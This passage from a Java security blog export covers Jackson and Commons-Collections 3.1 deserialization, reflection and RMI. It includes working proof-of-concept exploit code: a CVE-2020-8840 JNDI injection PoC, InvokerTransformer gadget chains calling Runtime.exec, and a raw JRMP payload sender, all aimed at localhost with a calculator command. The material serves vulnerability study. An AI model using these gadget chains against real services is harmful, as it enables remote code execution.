sex) { this.sex = sex; }}interface Sex { public void setSex(int sex); public int getSex();} 先在mapper.readValue(json, People.class);处下个断点,简单跟一下发现主要解析流程都是在BeanDeserializer这个类之后 所以直接在com/fasterxml/jackson/databind/deser/BeanDeserializer.class#deserialize方法下断点 当解析到this.vanillaDeserialize的时候,先解析p.nextToken() 通过解析序列化字符串,将数据和symbol分开,symbol统一入到symbols中 然后跳转到com/fasterxml/jackson/databind/deser/std/StdValueInstantiator.class#createUsingDefault 通过call()去创建一个实例 之后又回到vanillaDeserialize()方法, 经过prop.deserializeAndSet()跳转到/com/fasterxml/jackson/databind/deser/impl/FieldProperty.class#deserializeAndSet 0x05 反序列化利用Jackson原生框架是没有存在直接漏洞利用的类的,我们需要引入一些外部类去构造Gadget CVE-2020-8840这个CVE利用xbean-reflect利用链造成JNDI注入影响版本:2.0.0 - 2.9.10.2 poc:1234567891011121314151617package com.patrilic.jackson;import com.fasterxml.jackson.databind.ObjectMapper;import java.io.IOException;public class poc { public static void main(String args[]) throws IOException { ObjectMapper mapper = new ObjectMapper(); mapper.enableDefaultTyping(); String json = \"[\\\"org.apache.xbean.propertyeditor.JndiConverter\\\", {\\\"asText\\\":\\\"ldap://localhost:1389/ExportObject\\\"}]\"; mapper.readValue(json, Object.class); }} 跟一下流程:调用mapper.readValue()的时候,return _readMapAndClose 步入_readMapAndClose,经过读取json,配置DeserializationContext最终到else分支调用了deser.deserialize(p, ctxt) 继续Step Into,直到跟到com/fasterxml/jackson/databind/deser/BeanDeserializer.class#deserialize 到这里也就是之前熟悉的Jackson反序列化流程了,继续步入到com/fasterxml/jackson/databind/deser/BeanDeserializer.class 通过setter.invoke()执行方法,步入eval类org/apache/xbean/propertyeditor/JndiConverter.class进行lookup(), 造成JNDI注入 完整调用链 黑名单类: 0x06 相关链接https://adamcaudill.com/2017/10/04/exploiting-jackson-rce-cve-2017-7525/https://b1ngz.github.io/java-deserialization-jdk7u21-gadget-note/http://www.lmxspace.com/2019/07/30/Jackson-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%B1%87%E6%80%BBhttps://www.anquanke.com/post/id/199460https://www.ibm.com/developerworks/cn/java/jackson-advanced-application/index.htmlhttps://github.com/FasterXML/jackson-databindhttps://github.com/FasterXML/jackson-databind/issues/2620","categories":[{"name":"Java_Sec","slug":"Java-Sec","permalink":"http://patrilic.top/categories/Java-Sec/"}],"tags":[{"name":"Jackson","slug":"Jackson","permalink":"http://patrilic.top/tags/Jackson/"}]},{"title":"commons-collections-3.1 反序列化分析","slug":"commons-collections-3.1 反序列化分析","date":"2020-03-19T15:24:22.000Z","updated":"2020-03-19T15:32:52.608Z","comments":true,"path":"2020/03/19/commons-collections-3.1 反序列化分析/","link":"","permalink":"http://patrilic.top/2020/03/19/commons-collections-3.1 反序列化分析/","excerpt":"","text":"@Author: Patrilic@Time: 2020-3-19 23:24:22 0x00 BuildJdk version : 7u80pom.xml:12345678910111213141516171819<?xml version=\"1.0\" encoding=\"UTF-8\"?><project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\"> <modelVersion>4.0.0</modelVersion> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>1.0-SNAPSHOT</version> <dependencies> <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.1</version> </dependency> </dependencies></project> 0x01 Poc1234567891011121314151617181920212223242526272829303132package com.patrilic.vul;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.map.TransformedMap;import java.util.HashMap;import java.util.Map;public class EvalObject { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer(\"getMethod\", new Class[]{String.class, Class[].class}, new Object[]{\"getRuntime\", new Class[0]}), new InvokerTransformer(\"invoke\", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer(\"exec\", new Class[]{String.class}, new Object[]{\"open -a Calculator.app\"}) }; //将transformers数组存入ChaniedTransformer这个继承类 Transformer transformerChain = new ChainedTransformer(transformers); //创建Map并绑定transformerChain Map innerMap = new HashMap(); innerMap.put(\"value\", \"value\"); Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain); //触发漏洞 Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next(); onlyElement.setValue(\"foobar\"); }} 0x02 漏洞分析简单一看,最终在org/apache/commons/collections/functors/InvokerTransformer.class:125调用了Method.invoke()执行了java.lang.Runtime.getRuntime().exec InvokerTransformer.classInvokerTransformer.class提供了一个Object方法,用Java反射的机制去创建类实例 可以通过直接调用InvokerTransformer的反射机制去调用java.class.Runtime()1234567891011package com.patrilic.vul;import org.apache.commons.collections.functors.InvokerTransformer;public class test { public static void main(String[] args) { InvokerTransformer invokerTransformer = new InvokerTransformer( \"exec\", new Class[]{String.class}, new Object[]{\"open -a Calculator.app\"}); invokerTransformer.transform(Runtime.getRuntime()); }} 利用链Poc这里并没有直接调用InvokerTransformer,而是通过ChainedTransformer类 源码比较少,全部贴出来1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768//// Source code recreated from a .class file by IntelliJ IDEA// (powered by Fernflower decompiler)//package org.apache.commons.collections.functors;import java.io.Serializable;import java.util.Collection;import java.util.Iterator;import org.apache.commons.collections.Transformer;public class ChainedTransformer implements Transformer, Serializable { static final long serialVersionUID = 3514945074733160196L; private final Transformer[] iTransformers; public static Transformer getInstance(Transformer[] transformers) { FunctorUtils.validate(transformers); if (transformers.length == 0) { return NOPTransformer.INSTANCE; } else { transformers = FunctorUtils.copy(transformers); return new ChainedTransformer(transformers); } } public static Transformer getInstance(Collection transformers) { if (transformers == null) { throw new IllegalArgumentException(\"Transformer collection must not be null\"); } else if (transformers.size() == 0) { return NOPTransformer.INSTANCE; } else { Transformer[] cmds = new Transformer[transformers.size()]; int i = 0; for(Iterator it = transformers.iterator(); it.hasNext(); cmds[i++] = (Transformer)it.next()) { } FunctorUtils.validate(cmds); return new ChainedTransformer(cmds); } } public static Transformer getInstance(Transformer transformer1, Transformer transformer2) { if (transformer1 != null && transformer2 != null) { Transformer[] transformers = new Transformer[]{transformer1, transformer2}; return new ChainedTransformer(transformers); } else { throw new IllegalArgumentException(\"Transformers must not be null\"); } } public ChainedTransformer(Transformer[] transformers) { this.iTransformers = transformers; } public Object transform(Object object) { for(int i = 0; i < this.iTransformers.length; ++i) { object = this.iTransformers[i].transform(object); } return object; } public Transformer[] getTransformers() { return this.iTransformers; }} 可以看到ChainedTransformer实现了Transformer接口重构了transform,当我们传入类时,会一起去调用每一个Transformer.thransform() 那么也就是说,最终处理的还是InvokerTransformer类,同样的,那么我们也可以利用ChainedTransformer去实现java.lang.Runtime的调用 ChainedTransformer 调用 会直接调用org/apache/commons/collections/functors/InvokerTransformer.class 经过一共四次for循环 调用Runtime.exec() 回到利用链里,这个poc使用了一个Map对象,然后调用了TransformedMap.decorate方法 经过静态方法decorate可以实例化TransformedMap 经过构造函数赋值后 如果满足了valueTransformer,那么就可以直接调用InvokerTransformer#transform 也就是说,只要我们传入任意setValue/put/putAll方法,都可以满足这个条件当然,这样确实是可以成功调用transform方法,调用Runtime.exec() 但是接着跟Poc,却发现触发点并不在那,而是通过entrySet()方法 然后在运行到onlyElement.setValue("foobar");的时候,触发CheckSetValue()方法 所以只要我们去调用SetVaule()就可以直接调用transform方法 AnnotationInvocationHandler如果要完成反序列化,那么必须找一个readObject()中调用了TransformedMap::MapEntry#setValue()的类 sun/reflect/annotation/AnnotationInvocationHandler.class1234567891011121314151617181920212223242526private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException { var1.defaultReadObject(); AnnotationType var2 = null; try { var2 = AnnotationType.getInstance(this.type); } catch (IllegalArgumentException var9) { throw new InvalidObjectException(\"Non-annotation type in annotation serial stream\"); } Map var3 = var2.memberTypes(); Iterator var4 = this.memberValues.entrySet().iterator(); while(var4.hasNext()) { Entry var5 = (Entry)var4.next(); String var6 = (String)var5.getKey(); Class var7 = (Class)var3.get(var6); if (var7 != null) { Object var8 = var5.getValue(); if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) { var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + \"[\" + var8 + \"]\")).setMember((Method)var2.members().get(var6))); } } } } 那么,现在的问题就是,我们怎么样才能顺利的进入var5.setValue()这里来。 确保var7获取到java.lang.annotation.RetentionPolicy芜湖~起飞飞飞飞飞飞飞飞飞飞飞飞飞飞飞飞飞飞飞飞飞飞飞 完整调用栈 0x03 相关链接https://xz.aliyun.com/t/4558https://www.xmanblog.net/java-deserialize-apache-commons-collections/https://javasec.org/javase/JavaDeserialization/Collections.html","categories":[{"name":"Java_Sec","slug":"Java-Sec","permalink":"http://patrilic.top/categories/Java-Sec/"}],"tags":[{"name":"Commons-Collections","slug":"Commons-Collections","permalink":"http://patrilic.top/tags/Commons-Collections/"}]},{"title":"Java Refection","slug":"Java Reflection","date":"2020-03-18T09:43:11.000Z","updated":"2020-03-24T12:21:15.111Z","comments":true,"path":"2020/03/18/Java Reflection/","link":"","permalink":"http://patrilic.top/2020/03/18/Java Reflection/","excerpt":"","text":"@Author: Patrilic@Time: 2020-3-18 17:43:11 0x00 前言反射是Java的一个高级特性,指在运行状态中对于任意一个类,都能够知道这个类的所有属性和方法;对于任意一个对象,都能够调用它的任意方法和属性,创建实例,修改类成员变量等等。 这种动态获取信息以及动态调用对象方法的功能称为java语言的反射机制。 0x01 相关类 类名 用途 Class类 类的实体,在运行的Java应用程序中表示类和接口 Method类 类的方法 Construct类 类的构造方法 Field类 类的成员变量 Get Class获取类的方式通常有三种123Class runtimeClass1 = Class.forName(className);Class runtimeClass2 = java.lang.Runtime.class;Class runtimeClass3 = ClassLoader.getSystemClassLoader().loadClass(className); 需要注意的是,在获取数组类型的Class对象时,需要使用特殊的Java描述符12Class<?> doubleArray = Class.forName(\"[D\");Class<?> cStringArray = Class.forName(\"[[Ljava.lang.String;\"); Get Construct首先跳到java.lang.Runtime的源码处,可以观察到Runtime类的构造方法是private属性的,也就是说不允许其他人创建实例。 也就是说,在没有import java.lang.Runtime的时候,我们是不能够去new一个新的Runtime对象的 反射机制提供了两种方法可以获取类的构造方法: runtimeClass1.getDeclaredConstructor runtimeClass1.getConstructor // 不能获取private方法 获取Constuct后,使用constructor.newInstance()实例化 当我们没有访问构造方法权限时我们应该调用constructor.setAccessible(true)修改访问权限就可以成功的创建出类实例了 Get Method获取当前类所有的成员方法:1Method[] methods = runtimeClass1.getDeclaredMethods(); 获取当前类指定的成员方法:1Method method = clazz.getDeclaredMethod(\"方法名\"); 通过method.invoke可以调用方法:1method.invoke(方法实例对象, 方法参数值,多个参数值用\",\"隔开); method.invoke的第一个参数必须是类实例对象,如果调用的是static方法那么第一个参数值可以传null,因为在java中调用静态方法是不需要有类实例的,因为可以直接类名.方法名(参数)的方式调用 Get Field获取当前类的所有成员变量:1Field fields = clazz.getDeclaredFields(); 获取当前类指定的成员变量:1Field field = clazz.getDeclaredField(\"变量名\"); 获取当前类的所有成员变量:1Field fields = clazz.getDeclaredFields(); 获取当前类指定的成员变量:1Field field = clazz.getDeclaredField(\"变量名\"); 当我们没有修改的成员变量权限时可以使用: field.setAccessible(true)的方式修改为访问成员变量访问权限 修改final关键字修饰的变量时:1234567891011// 反射获取Field类的modifiersField modifiers = field.getClass().getDeclaredField(\"modifiers\");// 设置modifiers修改权限modifiers.setAccessible(true);// 修改成员变量的Field对象的modifiers值modifiers.setInt(field, field.getModifiers() & ~Modifier.FINAL);// 修改成员变量值field.set(类实例对象, 修改后的值); 0x02 反射java.lang.Runtime123456789101112131415161718192021222324252627282930313233package com.patrilic.reflect;import java.io.IOException;import java.lang.reflect.Constructor;import java.lang.reflect.InvocationTargetException;import java.lang.reflect.Method;public class RuntimeClass { public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchMethodException, SecurityException, InstantiationException, IllegalAccessException, IllegalArgumentException, InvocationTargetException { String className = \"java.lang.Runtime\"; Class runtimeClass1 = Class.forName(className); Class runtimeClass2 = java.lang.Runtime.class; Class runtimeClass3 = ClassLoader.getSystemClassLoader().loadClass(className); System.out.println(runtimeClass1); System.out.println(runtimeClass2); System.out.println(runtimeClass3); Constructor constructor = runtimeClass1.getDeclaredConstructor(); constructor.setAccessible(true); // 创建Runtime类示例,等价于 Runtime rt = new Runtime(); Object runtimeInstance = constructor.newInstance(); // 获取Runtime的exec(String cmd)方法 try { Method runtimeMethod = runtimeClass1.getMethod(\"exec\", String.class); Process process = (Process) runtimeMethod.invoke(runtimeInstance, \"open -a /System/Applications/Calculator.app\"); } catch (Exception e) { System.out.println(e); } }} 0x03 相关链接https://javasec.org/javase/Reflection/Reflection.htmlhttps://www.jianshu.com/p/9be58ee20deehttps://xz.aliyun.com/t/2342","categories":[{"name":"Java_Sec","slug":"Java-Sec","permalink":"http://patrilic.top/categories/Java-Sec/"}],"tags":[{"name":"Java反射","slug":"Java反射","permalink":"http://patrilic.top/tags/Java反射/"}]},{"title":"Java反序列化学习","slug":"Java 反序列化","date":"2020-03-18T03:26:55.000Z","updated":"2020-03-18T03:28:17.371Z","comments":true,"path":"2020/03/18/Java 反序列化/","link":"","permalink":"http://patrilic.top/2020/03/18/Java 反序列化/","excerpt":"","text":"@Author: Patrilic@Time: 2020-3-18 11:26:55 0x00 前言Java中只需要实现java.io.Serializable或者java.io.Externalizable接口即可执行序列化操作 0x01 构造序列化/反序列化操作构造一个调用类,其中,Exployee类实现了java.io.Serializable接口 :1234567891011package com.patrilic.testSer;public class Employee implements java.io.Serializable{ public String name; public String identify; public void mailCheck() { System.out.println(\"This is the \"+this.identify+\" of our company\"); }} 序列化操作, 在调用Employee类时,所有的数据都会被序列化123456789101112131415161718192021222324252627package com.patrilic.testSer;import com.patrilic.testSer.Employee;//import com.sun.xml.internal.bind.v2.runtime.unmarshaller.XsiNilLoader.Array;import java.io.*;public class Step1 { public static void main(String [] args) { Employee e = new Employee(); e.name = \"员工甲\"; e.identify = \"General staff\"; try { // 打开一个文件输入流 FileOutputStream fileOut = new FileOutputStream(\"/tmp/test.db\"); // 建立对象输入流 ObjectOutputStream out = new ObjectOutputStream(fileOut); //输出反序列化对象 out.writeObject(e); out.close(); fileOut.close(); System.out.printf(\"Serialized data is saved in /tmp/test.db\"); }catch(IOException i) { i.printStackTrace(); } }} 反序列化操作1234567891011121314151617181920212223242526272829303132333435package com.patrilic.testSer;import java.io.*;public class Step2{ public static void main(String [] args) { Employee e = null; try { // 打开一个文件输入流 FileInputStream fileIn = new FileInputStream(\"/tmp/test.db\"); // 建立对象输入流 ObjectInputStream in = new ObjectInputStream(fileIn); // 读取对象 e = (Employee) in.readObject(); in.close(); fileIn.close(); }catch(IOException i) { i.printStackTrace(); return; }catch(ClassNotFoundException c) { System.out.println(\"Employee class not found\"); c.printStackTrace(); return; } System.out.println(\"Deserialized Employee...\"); System.out.println(\"Name: \" + e.name); System.out.println(\"This is the \"+e.identify+\" of our company\"); }} 0x02 反序列化漏洞Java反序列化中,会调用被反序列化的readObject方法,如果readObject方法是恶意的,那么就会引发漏洞 Demo1234567891011121314151617181920212223242526272829303132333435package com.patrilic.testSer;import java.io.*;public class test{ public static void main(String args[]) throws Exception{ UnsafeClass Unsafe = new UnsafeClass(); Unsafe.name = \"hacked by ph0rse\"; FileOutputStream fos = new FileOutputStream(\"object\"); ObjectOutputStream os = new ObjectOutputStream(fos); //writeObject()方法将Unsafe对象写入object文件 os.writeObject(Unsafe); os.close(); //从文件中反序列化obj对象 FileInputStream fis = new FileInputStream(\"object\"); ObjectInputStream ois = new ObjectInputStream(fis); //恢复对象 UnsafeClass objectFromDisk = (UnsafeClass)ois.readObject(); System.out.println(objectFromDisk.name); ois.close(); }}class UnsafeClass implements Serializable{ public String name; //重写readObject()方法 private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException{ //执行默认的readObject()方法 in.defaultReadObject(); //执行命令 System.out.println(\"my First!\"); Runtime.getRuntime().exec(\"open -a Calculator.app\"); }} 这里进行反序列化操作时,使用ObjectInputStream读取序列化文件,然后调用了readObject(), 当然就会成功的执行命令 并且确实是先执行了readObject类的操作,然后再进行System.out.println(name) ObjectInputStream && ObjectOutputStream序列化对象: java.io.ObjectOutputStream->writeObject() 反序列化对象: java.io.ObjectInputStream->readObject() 也就是说在序列化类时,就会自动去 Serializable java.io.Serializable接口是空接口,仅仅用于表示这个类可序列化1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859package com.patrilic.demo;import java.io.*;import java.util.Arrays;public class DeserializationTest implements Serializable { private String username; private String email; public String getUsername() { return username; } public void setUsername(String username) { this.username = username; } public String getEmail() { return email; } public void setEmail(String email) { this.email = email; } public static void main(String[] args) { ByteArrayOutputStream baos = new ByteArrayOutputStream(); try { // 创建DeserializationTest类,并类设置属性值 DeserializationTest t = new DeserializationTest(); t.setUsername(\"Patrilic\"); t.setEmail(\"admin@patrilic.top\"); // 创建Java对象序列化输出流对象 ObjectOutputStream out = new ObjectOutputStream(baos); // 序列化DeserializationTest类 out.writeObject(t); out.flush(); out.close(); // 打印DeserializationTest类序列化以后的字节数组,我们可以将其存储到文件中或者通过Socket发送到远程服务地址 System.out.println(\"DeserializationTest类序列化后的字节数组:\" + Arrays.toString(baos.toByteArray())); // 利用DeserializationTest类生成的二进制数组创建二进制输入流对象用于反序列化操作 ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray()); // 通过反序列化输入流(bais),创建Java对象输入流(ObjectInputStream)对象 ObjectInputStream in = new ObjectInputStream(bais); // 反序列化输入流数据为DeserializationTest对象 DeserializationTest test = (DeserializationTest) in.readObject(); System.out.println(\"用户名:\" + test.getUsername() + \",邮箱:\" + test.getEmail()); // 关闭ObjectInputStream输入流 in.close(); } catch (IOException e) { e.printStackTrace(); } catch (ClassNotFoundException e) { e.printStackTrace(); } }} 使用了ObjectOutputStream->writeObject()序列化了DeserializationTest类 使用了ObjectInputStream->readObject()反序列化了DeserializationTest类 Externalizable java.io.Externalizable继承Serializable接口,定义了两个方法: writeExternal() readExternal() 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273package com.patrilic.demo;import java.io.*;import java.util.Arrays;public class ExternalizableTest implements java.io.Externalizable { private String username; private String email; public String getUsername() { return username; } public void setUsername(String username) { this.username = username; } public String getEmail() { return email; } public void setEmail(String email) { this.email = email; } @Override public void writeExternal(ObjectOutput out) throws IOException { out.writeObject(username); out.writeObject(email); } @Override public void readExternal(ObjectInput in) throws IOException, ClassNotFoundException { this.username = (String) in.readObject(); this.email = (String) in.readObject(); } public static void main(String[] args) { ByteArrayOutputStream baos = new ByteArrayOutputStream(); try { // 创建DeserializationTest类,并类设置属性值 ExternalizableTest t = new ExternalizableTest(); t.setUsername(\"Patrilic\"); t.setEmail(\"admin@patrilic.top\"); // 创建Java对象序列化输出流对象 ObjectOutputStream out = new ObjectOutputStream(baos); // 序列化DeserializationTest类 out.writeObject(t); out.flush(); out.close(); // 打印ExternalizableTest类序列化以后的字节数组,我们可以将其存储到文件中或者通过Socket发送到远程服务地址 System.out.println(\"ExternalizableTest类序列化后的字节数组:\" + Arrays.toString(baos.toByteArray())); // 利用ExternalizableTest类生成的二进制数组创建二进制输入流对象用于反序列化操作 ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray()); // 通过反序列化输入流(bais),创建Java对象输入流(ObjectInputStream)对象 ObjectInputStream in = new ObjectInputStream(bais); // 反序列化输入流数据为DeserializationTest对象 ExternalizableTest test = (ExternalizableTest) in.readObject(); System.out.println(\"用户名:\" + test.getUsername() + \",邮箱:\" + test.getEmail()); // 关闭ObjectInputStream输入流 in.close(); } catch (IOException e) { e.printStackTrace(); } catch (ClassNotFoundException e) { e.printStackTrace(); } }} 值得注意的是两个方法的重写: 0x03 相关链接https://xz.aliyun.com/t/2041https://javasec.org/javase/JavaDeserialization/Serialization.htmlhttps://xz.aliyun.com/t/2043","categories":[{"name":"Java_Sec","slug":"Java-Sec","permalink":"http://patrilic.top/categories/Java-Sec/"}],"tags":[{"name":"反序列化","slug":"反序列化","permalink":"http://patrilic.top/tags/反序列化/"}]},{"title":"RMI","slug":"RMI","date":"2020-03-17T08:41:55.000Z","updated":"2020-03-17T08:51:11.826Z","comments":true,"path":"2020/03/17/RMI/","link":"","permalink":"http://patrilic.top/2020/03/17/RMI/","excerpt":"","text":"@Author: Patrilic@Time: 2020-3-17 16:41:55 0x00 前言RMI(Remote Method Invocation) - Java远程方法调用, 类似于RPC, 实现了Java程序跨JVM的的方法调用。简而言之就是能够在另一个JVM中调用对象的方法。 0x01 RMI组成RMI分成三个部分组成: 客户端Client 服务端Server 注册中心Registry (from javasec)架构图: 简述一下RMI的调用流程: RMI客户端在调用远程方法时会先创建Stub(sun.rmi.registry.RegistryImpl_Stub)。 Stub会将Remote对象传递给远程引用层(java.rmi.server.RemoteRef)并创建java.rmi.server.RemoteCall(远程调用)对象。 RemoteCall序列化RMI服务名称、Remote对象。 RMI客户端的远程引用层传输RemoteCall序列化后的请求信息通过Socket连接的方式传输到RMI服务端的远程引用层。 RMI服务端的远程引用层(sun.rmi.server.UnicastServerRef)收到请求会请求传递给Skeleton(sun.rmi.registry.RegistryImpl_Skel#dispatch)。 Skeleton调用RemoteCall反序列化RMI客户端传过来的序列化。 Skeleton处理客户端请求:bind、list、lookup、rebind、unbind,如果是lookup则查找RMI服务名绑定的接口对象,序列化该对象并通过RemoteCall传输到客户端。 RMI客户端反序列化服务端结果,获取远程对象的引用。 RMI客户端调用远程方法,RMI服务端反射调用RMI服务实现类的对应方法并序列化执行结果返回给客户端。 RMI客户端反序列化RMI远程方法调用结果。 但是从上述文字中就产生一个疑问,Client是直接获取服务端的方法执行结果,而类的执行是在Server端,那么例如fastjson这种,它的命令执行又是在Client产生…? 0x02 RMI搭建服务端创建一个Java Project - RMIServiceExample创建Package - com.patrilic.rmi首先构造一个public接口RMIServiceAPI,需要继承Remote,同时throws RemoteException 1234567package com.patrilic.rmi;import java.rmi.Remote;import java.rmi.RemoteException;public interface RMIServiceAPI extends Remote { public String hello(String a) throws RemoteException;} 然后再构造一个Class实现 需要继承UnicastRemoteObject类,同时实现RMIServiceAPI接口 构造函数需要抛出RemoteException 12345678910111213141516171819package com.patrilic.rmi;import java.rmi.RemoteException;import java.rmi.server.UnicastRemoteObject;public class RMIService extends UnicastRemoteObject implements RMIServiceAPI { /** * */ private static final long serialVersionUID = 1L; protected RMIService() throws RemoteException { super(); } public String hello(String a) throws RemoteException { System.out.println(\"call from\" + a); return \"Hello world\"; }} 最后构造一个StartService.java,用于注册服务代码123456789101112131415161718192021222324252627282930313233package com.patrilic.rmi;import java.net.MalformedURLException;import java.rmi.AlreadyBoundException;import java.rmi.Naming;import java.rmi.RemoteException;import java.rmi.registry.LocateRegistry;public class StartService { public static void StartService() { String host =\"127.0.0.1\"; String port =\"1099\"; try { RMIServiceAPI service = new RMIService(); LocateRegistry.createRegistry(Integer.valueOf(port)); Naming.bind(\"rmi://\" + host + \":\" + port + \"/RmiService\", service); System.out.println(\"[INFO]:Success to bind rmi object\"); } catch (NumberFormatException e) { e.printStackTrace(); } catch (RemoteException e) { e.printStackTrace(); } catch (MalformedURLException e) { e.printStackTrace(); } catch (AlreadyBoundException e) { e.printStackTrace(); } }public static void main(String[] args) { StartService(); }} 客户端和Server端一样,先构造一个接口继承Remote注意,必须使用和Server端相同的package和RMIServiceAPI名称,不然会报错 1234567package com.patrilic.rmi;import java.rmi.Remote;import java.rmi.RemoteException;public interface RMIServiceAPI extends Remote { public String hello(String a) throws RemoteException;} 构造Client调用服务端的hello接口12345678910111213141516171819202122232425262728293031323334353637package com.patrilic.rmi;import java.net.MalformedURLException;import java.rmi.Naming;import java.rmi.NotBoundException;import java.rmi.Remote;import java.rmi.RemoteException;public class RMIClient { public static void linkHello(String a) throws RemoteException { String host = \"127.0.0.1\"; String port = \"1099\"; try { Remote remote = Naming.lookup(\"rmi://\" + host + \":\" + port + \"/RmiService\"); if (remote instanceof RMIServiceAPI) { RMIServiceAPI rmiService = (RMIServiceAPI) remote; String result = rmiService.hello(a); System.out.println(result); } } catch (NotBoundException e) { e.printStackTrace(); } catch (MalformedURLException e) { e.printStackTrace(); } catch (RemoteException e) { e.printStackTrace(); } } public static void main(String[] args) { try { linkHello(\"Patrilic\"); } catch (RemoteException e) { e.printStackTrace(); } }} 0x03 RMI通讯流程在RMIClient对Server端进行lookup操作时,用Wireshark指定lo0网卡抓包 第一部分AC ED 00 05是常见的java反序列化16进制特征Client连接Registry中心的1099端口, 建立通讯 Client通过JRMI,Call查询需要调用的函数的远程引用,注册中心通过JRMI,ReturnData返回RMI的调用类以及Server的ip和端口 第二部分通过注册中心提供的Server的ip和端口,进而Client和Server进行连接 第三部分再进行一次JRMI,Client连接Registry中心的1099端口应该是在确认调用类需要的东西 第四部分 返回调用结果 0x04 RMI反序列化漏洞从之前的流程图就可以发现,通讯过程中的所有对象都是序列化之后传输,那么就必定有反序列化操作。 这里利用Common-Collections-3.1的反序列化 代码来自https://xz.aliyun.com/t/6660#toc-6Server12345678910111213141516171819202122232425262728293031323334353637383940package com.patrilic.rmi;import java.rmi.Naming;import java.rmi.Remote;import java.rmi.RemoteException;import java.rmi.registry.LocateRegistry;import java.rmi.server.UnicastRemoteObject;public class Server { public interface User extends Remote { public String name(String name) throws RemoteException; public void say(String say) throws RemoteException; public void dowork(Object work) throws RemoteException; } public static class UserImpl extends UnicastRemoteObject implements User{ protected UserImpl() throws RemoteException{ super(); } public String name(String name) throws RemoteException{ return name; } public void say(String say) throws RemoteException{ System.out.println(\"you speak\" + say); } public void dowork(Object work) throws RemoteException{ System.out.println(\"your work is \" + work); } } public static void main(String[] args) throws Exception{ String url = \"rmi://127.0.0.1:1099/User\"; UserImpl user = new UserImpl(); LocateRegistry.createRegistry(1099); Naming.bind(url,user); System.out.println(\"the rmi is running ...\"); }} Client1234567891011121314151617181920212223242526272829303132333435363738394041424344package com.patrilic.rmi;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;import java.lang.annotation.Target;import java.lang.reflect.Constructor;import java.rmi.Naming;import java.util.HashMap;import java.util.Map;//import com.patrilic.rmi.Server;import com.patrilic.rmi.Server.User;public class Client { public static void main(String[] args) throws Exception{ String url = \"rmi://127.0.0.1:1099/User\"; User userClient = (User)Naming.lookup(url); System.out.println(userClient.name(\"lala\")); userClient.say(\"world\"); userClient.dowork(getpayload()); } public static Object getpayload() throws Exception{ Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer(\"getMethod\", new Class[]{String.class, Class[].class}, new Object[]{\"getRuntime\", new Class[0]}), new InvokerTransformer(\"invoke\", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer(\"exec\", new Class[]{String.class}, new Object[]{\"open -a /System/Applications/Calculator.app\"}) }; Transformer transformerChain = new ChainedTransformer(transformers); Map map = new HashMap(); map.put(\"value\", \"lala\"); Map transformedMap = TransformedMap.decorate(map, null, transformerChain); Class cl = Class.forName(\"sun.reflect.annotation.AnnotationInvocationHandler\"); Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class); ctor.setAccessible(true); Object instance = ctor.newInstance(Target.class, transformedMap); return instance; }} Github有个项目BaRMIe 0x05 JRMPJava远程方法协议(英语:Java Remote Method Protocol,JRMP)是特定于Java技术的、用于查找和引用远程对象的协议。这是运行在Java远程方法调用(RMI)之下、TCP/IP之上的线路层协议 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869package com.patrilic.rmi;import sun.rmi.server.MarshalOutputStream;import sun.rmi.transport.TransportConstants;import java.io.DataOutputStream;import java.io.IOException;import java.io.ObjectOutputStream;import java.io.OutputStream;import java.net.Socket;public class JRMI { public static void main(String[] args) throws IOException { if (args.length == 0) { args = new String[]{\"127.0.0.1\", String.valueOf(\"9527\"), \"open -a Calculator.app\"}; } final String host = args[0]; final int port = Integer.parseInt(args[1]); final String command = args[2]; Socket socket = null; OutputStream out = null; try { Object payloadObject = RMIExploit.genPayload(command); socket = new Socket(\"127.0.0.1\", 9527); socket.setKeepAlive(true); socket.setTcpNoDelay(true); // 获取Socket的输出流对象 out = socket.getOutputStream(); // 将Socket的输出流转换成DataOutputStream对象 DataOutputStream dos = new DataOutputStream(out); // 创建MarshalOutputStream对象 ObjectOutputStream baos = new MarshalOutputStream(dos); // 向远程RMI服务端Socket写入RMI协议并通过JRMP传输Payload序列化对象 dos.writeInt(TransportConstants.Magic);// 魔数 dos.writeShort(TransportConstants.Version);// 版本 dos.writeByte(TransportConstants.SingleOpProtocol);// 协议类型 dos.write(TransportConstants.Call);// RMI调用指令 baos.writeLong(2); // DGC baos.writeInt(0); baos.writeLong(0); baos.writeShort(0); baos.writeInt(1); // dirty baos.writeLong(1L);// 接口Hash值 // 写入恶意的序列化对象 baos.writeObject(payloadObject); dos.flush(); } catch (Exception e) { e.printStackTrace(); } finally { // 关闭Socket输出流 if (out != null) { out.close(); } // 关闭Socket连接 if (socket != null) { socket.close(); } } }} 0x06 